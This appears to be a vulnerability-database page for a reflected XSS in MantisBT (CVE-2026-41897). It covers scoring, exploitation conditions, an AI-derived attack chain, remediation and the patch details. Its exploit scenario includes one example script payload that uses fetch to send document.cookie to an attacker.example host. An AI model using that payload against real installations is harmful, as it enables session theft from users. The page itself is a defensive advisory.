Skip to main content

MantisBT CVE-2026-41897

| EUVDEUVD-2026-33024 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-11 https://github.com/mantisbt/mantisbt GHSA-j7v9-f46r-2rp4
5.3
CVSS 4.0 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain low-privilege MantisBT account
  2. Delivery
    Identify TEXTAREA-type custom field in target instance
  3. Exploit
    Craft malicious AJAX request with HTML payload in filter_target
  4. Install
    Deliver crafted URL to authenticated victim user
  5. C2
    Victim browser requests return_dynamic_filters.php with payload
  6. Execute
    Unvalidated field ID rendered unescaped into HTML response
  7. Impact
    Injected JavaScript executes in victim's browser context
  8. Step 8
    Session token or credentials exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Authentication at low-privilege level is required (PR:L confirmed by the vendor-supplied CVSS 4.0 vector), meaning the attacker must hold a valid MantisBT user account. The target installation must have at least one custom field of type TEXTAREA configured - this is not a default factory setting but is common in production deployments that customize issue-tracking workflows; without a TEXTAREA custom field, the injection pathway does not render. The AJAX endpoint return_dynamic_filters.php must be reachable by the authenticated attacker, which is standard for any logged-in MantisBT user. Exploitation is limited by: the mandatory account requirement preventing unauthenticated drive-by attacks; the TEXTAREA custom field prerequisite narrowing the viable target set; and the reflected (non-persistent) XSS nature, which requires the victim to process a crafted request rather than passively loading a compromised page. Installations with TEXTAREA custom fields disabled or removed are not affected by this specific vector.

Impact

The vendor-assigned CVSS 4.0 score of 5.3 (Medium) with vector AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N classifies this as a network-reachable, low-complexity, low-privilege attack. The UI:N assignment is atypical for reflected XSS and may reflect the vendor's assessment that the AJAX delivery mechanism can be triggered without an explicit additional victim interaction once a crafted URL is loaded; however, reflected XSS fundamentally depends on victim browser processing of a crafted request, which in most threat models implies at least passive user interaction (following a link). This divergence from typical reflected-XSS scoring should be noted by defenders. EPSS at 0.04% (14th percentile) indicates very low observed exploitation probability, consistent with the authenticated requirement and the TEXTAREA custom field precondition limiting the viable target population. The vulnerability is absent from CISA KEV and no public proof-of-concept has been identified, further reinforcing low near-term exploitation risk. Real-world priority is low for organizations that restrict MantisBT access to internal authenticated users, but moderate for public-facing installations where attackers can register accounts or where social engineering of authenticated users is plausible. The absence of subsequent-system scope impact (SC/SI/SA:N) means exploitation is bounded to the victim's MantisBT browser session.

Exploit ScenarioDerived

An attacker holding a low-privilege MantisBT account crafts a URL or AJAX request to return_dynamic_filters.php with a filter_target value embedding JavaScript (e.g., <script>fetch('https://attacker.example/?c='+document.cookie)</script>) referencing an existing TEXTAREA custom field. The attacker then delivers this crafted URL to a victim user - via phishing, a compromised internal link, or embedding in a MantisBT comment - causing the victim's browser to execute the payload within the MantisBT origin, enabling session token theft or further CSRF-facilitated actions. No public proof-of-concept has been identified at time of analysis.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 23, 2026

Reflected XSS in MantisBT versions 1.0.0 through 2.28.1 allows an authenticated low-privilege attacker to inject arbitrary HTML into the View Issues Page by supplying a malicious value in the unvalidated filter_target parameter of the return_dynamic_filters.php AJAX endpoint, exploitable specifically when the target resolves to a TEXTAREA-type custom field. The vendor's CVSS 4.0 vector confirms low-privilege authentication is required and impact is limited to low confidentiality and integrity loss against victim users. No public exploit has been identified and EPSS probability stands at 0.04%, placing this firmly in the low-urgency tier despite its network accessibility; patch version 2.28.2 is confirmed available.

RemediationAI

Upgrade MantisBT to version 2.28.2, the confirmed fixed release per the GitHub advisory GHSA-j7v9-f46r-2rp4 (https://github.com/mantisbt/mantisbt/security/advisories/GHSA-j7v9-f46r-2rp4) and patch commit c885af13f0b8596714ffe11df757c09f35fbd8f4 (https://github.com/mantisbt/mantisbt/commit/c885af13f0b8596714ffe11df757c09f35fbd8f4). The vendor confirms no official workarounds exist. As a temporary compensating control prior to patching, deploy a WAF rule rejecting non-numeric values in the filter_target (or equivalent custom field ID) parameter on requests to return_dynamic_filters.php; note this may break AJAX dynamic filter rendering for any deployment using non-numeric field identifiers, requiring testing before enforcement. Restricting MantisBT to authenticated internal users via network controls reduces the attacker pool but does not eliminate the vulnerability since PR:L is already required. Disabling TEXTAREA-type custom fields removes the specific injection pathway but disrupts legitimate workflow customization in affected instances.

Affected VersionsENISA

mantisbt 1.0.0, < 2.28.2

Affected Packages

composer mantisbt/mantisbt fix: 2.28.2
euvd mantisbt_1_0_0 fix: 2.28.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

MantisBT is an open-source PHP bug-tracking system distributed via Composer (pkg:composer/mantisbt/mantisbt). The vulnerable component is return_dynamic_filters.php, an AJAX endpoint invoked by the View Issues Page to dynamically render filter UI widgets for custom fields. The filter_target parameter - intended to identify a custom field by its numeric ID - is passed unsanitized to print_filter_custom_field() in core/filter_form_api.php, where it is interpolated directly into HTML attribute values (e.g., name="custom_field_<ID>") without numeric validation or HTML encoding. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause: attacker-controlled HTTP input flows into HTML output without escaping. The commit diff for c885af13 reveals two layers of fix: a numeric guard if( !is_numeric( $t_custom_id ) ) added in return_dynamic_filters.php that throws a ClientException on non-numeric input, and string_html_specialchars() encoding applied to field IDs in filter_form_api.php to prevent attribute injection. The additional changes in core/date_api.php apply the same encoding discipline to date-picker select element names, reflecting a broader HTML-injection hardening sweep in this release.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
vuln.today AI 5.4 MEDIUM

Reflected XSS requires victim to process a crafted request (UI:R); scope changes to victim browser context (S:C); PR:L confirmed by vendor CVSS 4.0; no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
May 28, 2026 - 21:22 NVD
5.3 (MEDIUM)
CVE Published
May 11, 2026 - 19:39 nvd
MEDIUM

DescriptionGitHub Advisory

Lack of validation of filter_target parameter on return_dynamic_filters.php (normally used as an AJAX in View Issues Page) allows an attacker to inject arbitrary HTML if the target is a TEXTAREA custom field.

Impact

Cross-site scripting (XSS)

Patches

  • c885af13f0b8596714ffe11df757c09f35fbd8f4

Workarounds

None

Credits

Thanks to siunam (Tang Cheuk Hei) for discovering and responsibly reporting the issue.

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Prevalence
Medium
widely-used open-source bug tracker, common in dev and IT teams
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy